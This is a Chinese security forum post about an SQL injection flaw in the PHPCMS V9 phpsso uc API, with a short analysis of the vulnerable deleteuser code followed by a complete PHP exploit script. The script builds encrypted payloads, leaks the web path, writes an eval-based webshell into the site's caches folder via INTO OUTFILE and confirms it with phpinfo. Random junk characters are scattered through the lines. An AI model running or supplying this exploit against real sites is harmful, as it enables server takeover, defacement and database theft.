找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% s( t6 e. m7 G3 L. N9 p0 G
) O+ G# b6 b8 Y1 r所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 r$ R0 W) P. |/ [$ {9 P

% i  Z. R" A) ~2 Y. H- u漏洞分析:
3 ^* G* r9 U' A& D  U1.未启用ucenter服务的情况下uc_key为空0 E; F% P8 H( {# j
define('UC_KEY', pc_base::load_config('system', 'uc_key'));3 s& v  C% }1 l! ]6 `6 O- U$ j
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; x( R" ?+ N: Q2 c; Y  G; ]# K% Q1 T
    public function deleteuser($get,$post) {  r8 v, ^' d0 L9 d7 V- x: ^
        pc_base::load_app_func('global', 'admin');* w4 T. q2 u! A+ x: G
        pc_base::load_app_class('messagequeue', 'admin' , 0);
; a9 M' l0 z+ r( ], k" x        $ids = new_stripslashes($get['ids']);
8 N& u2 z9 y5 X8 N( E$ r        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
' |9 v+ B' i0 z- b4 }% ~% l8 [5 lSQL语句为8 W3 G( q% R, ~+ g
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)/ ]" Y, x1 d! }" J

: M, E# I; q+ E利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* K1 r( }2 O! X! F4 E3 l
<?php
; R2 k6 Z4 p  r: T/ I6 _print_r('. I0 u8 `) g8 P  v6 b5 y
---------------------------------------------------------------------------
, I9 \6 w0 X5 b1 aPHPcms (v9 or Old Version) uc api sql injection 0day
  d9 {/ D, d& Y4 g: @" f2 w  qby rayh4c#80sec.com; z7 J9 I5 N6 {1 k
---------------------------------------------------------------------------4 ^+ k" I: Y! b& K
');
$ v4 [* l: O" x3 \( Z
; V( S! }, @, {, s. pif ($argc<3) {6 A6 u9 P" C( s: D
    print_r('
. X/ O% e1 I' S---------------------------------------------------------------------------. Z4 `. X1 f3 v* o( I; b
Usage: php '.$argv[0].' host path OPTIONS
3 f. x6 v0 E4 Y$ J4 Xhost:      target server (ip/hostname)6 j6 ^3 A& y2 Y& y; a+ y
path:      path to phpcms
' V& K0 ?6 w3 o! g" NOptions:  j7 P9 q, ]/ m6 P
-p[port]:    specify a port other than 80
' v0 ?( h$ j$ T  C -P[ip:port]: specify a proxy
% [& c- Q% Q! `' v4 |9 sExample:
8 |' y/ @7 Q' N* b# p* R( O* lphp '.$argv[0].' localhost /
8 K  [7 X- Q, H( zphp '.$argv[0].' localhost /phpcms/ -p81: C# I" |' ^3 ^* v6 G: K( [
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% N. h: v2 {' g% S---------------------------------------------------------------------------
7 M9 B5 U6 c) Y# Y');
4 S) e2 [- |  k* z2 B    die;2 f! u1 V5 u9 z# h! L
}
0 Q$ J4 G- e5 H
5 l1 V( A. ^8 V: H& Y; E  ^& Lerror_reporting(7);
6 H2 U) ^1 ~  m' l' \  M, b3 Fini_set("max_execution_time",0);
0 `0 w2 W+ F, B9 m6 U' nini_set("default_socket_timeout",5);. i( {1 W9 q" O- ]8 M0 k* k
( L  _; `# H* y  \# ~
function quick_dump($string)
& n6 z- {+ W0 }1 n# c+ h# l+ n{
& Y" a7 M4 T, @, n# l' ~  $result='';$exa='';$cont=0;
5 p: ]  q! G) h  r2 E9 A& z5 v  for ($i=0; $i<=strlen($string)-1; $i++)
5 h! _+ `# `: g9 i) M  {. K8 z; S8 r3 @8 F8 ~
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
( Q3 A% R7 |; \: G   {$result.="  .";}6 `$ m5 u% }7 z0 n3 j" C8 F
   else' O/ ~8 p+ I* D" h3 p" ?: q( v0 Q% j
   {$result.="  ".$string[$i];}
  r! J& `+ [6 f/ f3 ~  r   if (strlen(dechex(ord($string[$i])))==2)
( S% J, d5 d3 o$ k/ J# U   {$exa.=" ".dechex(ord($string[$i]));}
  ?7 d; A) ~$ @$ Y% O8 R. k& y   else: f) }1 u" i* E8 A: s  @
   {$exa.=" 0".dechex(ord($string[$i]));}: K: P9 N* ~+ f7 `' _
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( K* |6 I1 W* S4 ~( C9 q: j/ o% j* |! j
  }# M9 ^  T' ?3 ?& Y" u$ V
return $exa."\r\n".$result;
, g: I5 }5 {3 M' P9 J; F) K1 z}1 `  h" _/ D6 m! v3 D) @" o7 v
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& d. D5 c+ D) \( B2 D

/ c" n0 P8 Z. {" ifunction send($packet)
* v1 Q; z! [4 o& ^; Q# n{
  j; W* Z0 I: `6 `$ v; o  global $proxy, $host, $port, $html, $proxy_regex;
+ j+ E* j0 _& d8 k% F  if ($proxy=='') {
6 ~+ i- k. g, R0 m6 |+ H! N    $ock=fsockopen(gethostbyname($host),$port);
! s5 Z7 [6 d( h* C9 W+ l+ w    if (!$ock) {
0 M8 k* {; x; F& q1 n      echo 'No response from '.$host.':'.$port; die;
8 J# q! F. ?% Z4 `- q2 j    }
& K( e' e- V3 r* f( V1 r  P/ Z4 ^  }, r& c3 P1 d) m5 Z) W. P# {
  else {& q( r- K# a1 K& G$ z; h. C! @
        $c = preg_match($proxy_regex,$proxy);
' K3 N: [) w7 E8 G9 i  k, a    if (!$c) {8 H# n0 {6 n" X1 N9 y
      echo 'Not a valid proxy...';die;3 C4 E" Q( |( \: A/ [7 a3 w
    }
1 G  o7 \! r6 W    $parts=explode(':',$proxy);# l7 x' _$ \) A" l' T7 F
    $parts[1]=(int)$parts[1];
' }) P# o' w/ J8 t+ N0 @    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- q; B  v* a! N' Q1 Q! W  D6 }! C    $ock=fsockopen($parts[0],$parts[1]);
8 f% l( U, P" E    if (!$ock) {; T$ b0 r+ r+ W- D' Z/ `% q
      echo 'No response from proxy...';die;
6 p  R& Q. k9 n' P4 ], W9 O        }. H0 {7 S- v) r7 m1 U- }
  }1 F- a( {( ]7 i. i7 b: A: k9 g% e& ^
  fputs($ock,$packet);2 L" b/ i0 H' Z; U0 T$ o$ e
  if ($proxy=='') {+ X; y& y& a' r* v' m% l7 M( ]
    $html='';; h! ^2 m- t8 B) Y" v* y& w3 h( W% ]
    while (!feof($ock)) {- a" p- w3 H  I9 p% \
      $html.=fgets($ock);# P9 y+ g! A7 M$ k; ?: _
    }0 s! I7 h. J- ?, s$ e4 ^
  }
- R5 Z8 E( }! ]: l: r, @. m" t  else {/ d: J$ [1 f9 K% H' b+ o" p
    $html='';( g7 e9 ]7 ?1 L5 s
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
4 R( s) I- _4 ~; S      $html.=fread($ock,1);* q) [# s! H9 ^
    }
& T9 M: V% p. x  }9 i6 ^/ o' D) y8 a
  fclose($ock);
2 B: ]$ \4 |/ u; o: f1 I1 {}# ?3 p  c' _. r
% A. Y; l. S' S
$host=$argv[1];. T: f5 V5 R- r8 [% G. T, N
$path=$argv[2];
2 B' P  u! ^( O( e" [7 q  f, @9 z$port=80;. A, j! l: ~) J, |* G
$proxy="";) U! E/ U5 ~) ^% m) P1 F
for ($i=3; $i<$argc; $i++){5 Z. x8 _- G; N/ M
$temp=$argv[$i][0].$argv[$i][1];' @2 ]. F; d" {: g% S) h# r) i5 C
if ($temp=="-p"), W* _/ x% M0 |3 K/ G
{1 c4 D  U; _% K) P4 t3 c
  $port=(int)str_replace("-p","",$argv[$i]);
# Y2 `( F/ j8 e; ~* P% |, f& h}7 n4 b- y' T; J, F
if ($temp=="-P")
! {2 B- d# M, B' g/ ~/ S5 E  Q2 L{
1 o% x% F: s+ c8 X3 @( l/ W  $proxy=str_replace("-P","",$argv[$i]);
% U" }2 T6 _3 S9 b  d+ [7 g: S}2 W3 I( s; Y  i" L, O6 c2 [6 _' W3 j
}) h. i; y' M7 q$ W0 ?4 ?

- i" s. K8 [- E/ t  W7 g! F& Uif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- E0 ?7 H) x  T8 y& aif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
: ~! v: \5 }; M5 |
& f% A' c6 ~, F" J% X& B) U& P0 Efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {' n$ l4 \) A0 |7 {5 B) u$ d
8 A( P) G4 z; W3 G- R0 @
    $ckey_length = 4;
+ Z. R5 ~* x1 `2 \- s2 P
) Z  a0 t- n( ^* X- V& U, h    $key = md5($key ? $key : '');
6 I5 g) i. q. v6 g6 r. w" R    $keya = md5(substr($key, 0, 16));5 b) d7 K: {7 a) t- s$ w
    $keyb = md5(substr($key, 16, 16));3 O, n3 C7 d5 C  a0 a1 S; b, A$ B
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
) K/ \4 C2 J. I# `
& |. D& n. z/ v, l0 s    $cryptkey = $keya.md5($keya.$keyc);
3 F) l0 K/ I3 {9 G7 |    $key_length = strlen($cryptkey);* T5 z; S- @6 Y8 J  m! b
+ a0 Z6 b7 D3 ^; ^3 ~
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ z4 ~) m6 Z, |' \    $string_length = strlen($string);
# o) I$ G& Y2 I; z8 V" o7 r  {% x5 l5 Q) z7 |+ v# e5 y5 J4 g
    $result = '';
# \0 j: Y2 p2 g  @    $box = range(0, 255);$ ]4 D  m6 n' A2 J1 c

) Y* ]6 H8 ~- P, C4 E    $rndkey = array();$ B  `9 k& n) d9 ]% i
    for($i = 0; $i <= 255; $i++) {7 ?7 B/ P( G' e6 M" G
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
" W: N& `. n# e$ j    }: q" E  g5 q. L' N2 F: I
$ u8 r9 |. C5 w0 w
    for($j = $i = 0; $i < 256; $i++) {  n" R3 K7 A! T5 V$ \
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. |( O& r: c4 F" x$ `6 R        $tmp = $box[$i];
, k1 N3 |) s6 }1 K        $box[$i] = $box[$j];( L% B0 |! n( ~  d- r! I6 q
        $box[$j] = $tmp;
' c# @- m$ m, U' y- _' n5 c    }8 `- l5 O) d9 H; D
+ {/ v2 ^; x6 C) O& {! X& O
    for($a = $j = $i = 0; $i < $string_length; $i++) {
9 g1 }$ L. _# t- H" y5 ~        $a = ($a + 1) % 256;
# f* U0 W( Q8 ^& U9 }* A/ g        $j = ($j + $box[$a]) % 256;/ ]- U0 b% N6 D) k! B$ W
        $tmp = $box[$a];
  p6 W1 |  I  Y( i* v5 j: N/ R        $box[$a] = $box[$j];+ [4 n6 H; @/ `- n8 ]% C: }# P
        $box[$j] = $tmp;1 g/ {' ?6 U! O* U4 E( A; o
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ t. `& c" M! ?! ~9 N* t    }; y& {7 I1 j' b( J5 C( n

7 }, ?3 {) d* v/ f2 T, T2 i    if($operation == 'DECODE') {8 i4 _4 U5 t! S6 R& s6 Y" u
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {( h* k" v; D' L
            return substr($result, 26);
- a( T- p, R3 T, S& @( K        } else {! ~" m& S; D" a2 X4 f% y% z9 L. N# _
            return '';8 s% q2 p3 U, w2 j
        }
6 E3 I3 U5 d' b4 l% i    } else {0 Y- A7 k' R- s
        return $keyc.str_replace('=', '', base64_encode($result));
& n( H2 w7 Y) N& Y( P    }, H$ }3 d( x6 \* T# R
2 i' d& G1 X0 l6 J- H3 }
}( C  b& S' ~( Y2 i) V* @+ H! y
' J5 X% g9 A# `
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
8 i" x8 v! ~8 s' h2 i8 a2 K/ W$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 R) @7 B- W* {1 J0 ?. B  W
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 f1 \6 c9 l( X+ E9 K, D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 F( `$ ^# b" N2 ]8 G- a
$packet.="User-Agent: Mozilla/5.0\r\n";; b( B8 y: P. y9 L3 w
$packet.="Host: ".$host."\r\n";
: {7 L5 L! f' M; a0 ~$packet.="Connection: Close\r\n\r\n";' w0 g3 a+ j  y3 w
send($packet);
+ P) X; S- m+ w! y" Kif(strpos($html,"MySQL Errno") > 0){
4 W( f7 `; _  F2 b. C7 c5 Yecho "[2] 发现存在SQL注入漏洞"."\n";
0 e# F2 a4 z3 L; ]' ^6 K" becho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
+ ^8 S$ K) ^8 V9 o5 n1 f$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";" u# T/ ^5 ]8 ?5 A# |) h' n3 G+ x3 U
$packet.="User-Agent: Mozilla/5.0\r\n";
3 o' S- ~# _1 j$packet.="Host: ".$host."\r\n";
5 S. n+ u& V2 }$ z$packet.="Connection: Close\r\n\r\n";
8 ?' s3 ?" v8 F1 Ysend($packet);
& h" b/ V* b4 Q' N) ~3 g. |preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 x+ F& O9 H; h7 Y" o2 [! D0 _
//print_r($matches);
: ~, G7 V! m* p5 z) G$ m' u( [. xif(!empty($matches)){& C1 L- @( p1 F5 _6 `0 v
echo "[4] 得到web路径 " . $matches[0]."\n";
. \: v4 }' [7 ]2 j. [! E8 T( techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
0 R0 Z$ V3 q+ c$SQL = "time=999999999999999999999999&ids=1)";( Q  G4 M4 K0 n& w* n0 X7 `7 q
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
9 u! k; y8 a) w7 q2 a$SQL.="&action=deleteuser";
' J1 q5 D1 B, X$SQL = urlencode(authcode($SQL, "ENCODE", ""));; ~7 A( Q! M( u, s$ g  w4 Q# c
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 s- P" f" \' U/ L$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
+ R) Z1 G( n. [. L$ S/ t$packet.="User-Agent: Mozilla/5.0\r\n";3 N  h% D: O" A' K$ `
$packet.="Host: ".$host."\r\n";
% X+ @8 ]! D* u$ z* I+ G$packet.="Connection: Close\r\n\r\n";
/ R2 H/ B; Z( n& psend($packet);  {' {3 i! n( z6 n% n2 C* g
if(strpos($html,"Access denied") > 0){
4 u2 W2 b/ O3 L1 K  ?, S! zecho "[-] MYSQL权限过低 禁止写入文件 ";0 L# |. j# R4 {; i6 H7 |
die;
3 f1 y, O" Y' z0 y  ?, q}0 \$ b3 x; C' y$ C: Y+ O
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 M8 f9 l) o! _0 Z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
0 p8 x! S8 \, m* Y$packet.="User-Agent: Mozilla/5.0\r\n";- {  M9 L- |4 n$ q8 H# @
$packet.="Host: ".$host."\r\n";
& ]6 w7 A* ?' i$packet.="Connection: Close\r\n\r\n";( ]3 s( p! R; F0 z0 q5 s0 I
send($packet);
/ G( F7 J  n* |) eif(strpos($html,"<title>phpinfo()</title>") > 0){4 p/ e5 O" F1 U- w+ ~
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
/ k0 v: ^" h8 O3 l  v}, M6 m: E! v7 {0 q
}else{+ c6 ]( u$ a+ w# Q+ O* A# U% M
echo "[-]未取到web路径 ";% O4 k1 A) N  y
}: X$ Y% H& _2 C- M$ \
}else{& Z6 r/ k& T' P4 a9 b5 F1 t
echo "[*]不存在SQL注入漏洞"."\n";! E% V. |$ ~7 V4 D. {' ]9 D
}3 F9 R, b" N/ f9 {0 S  A* H

; W+ J4 E0 d1 z% n, Q?>
* G  M. S( F% ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表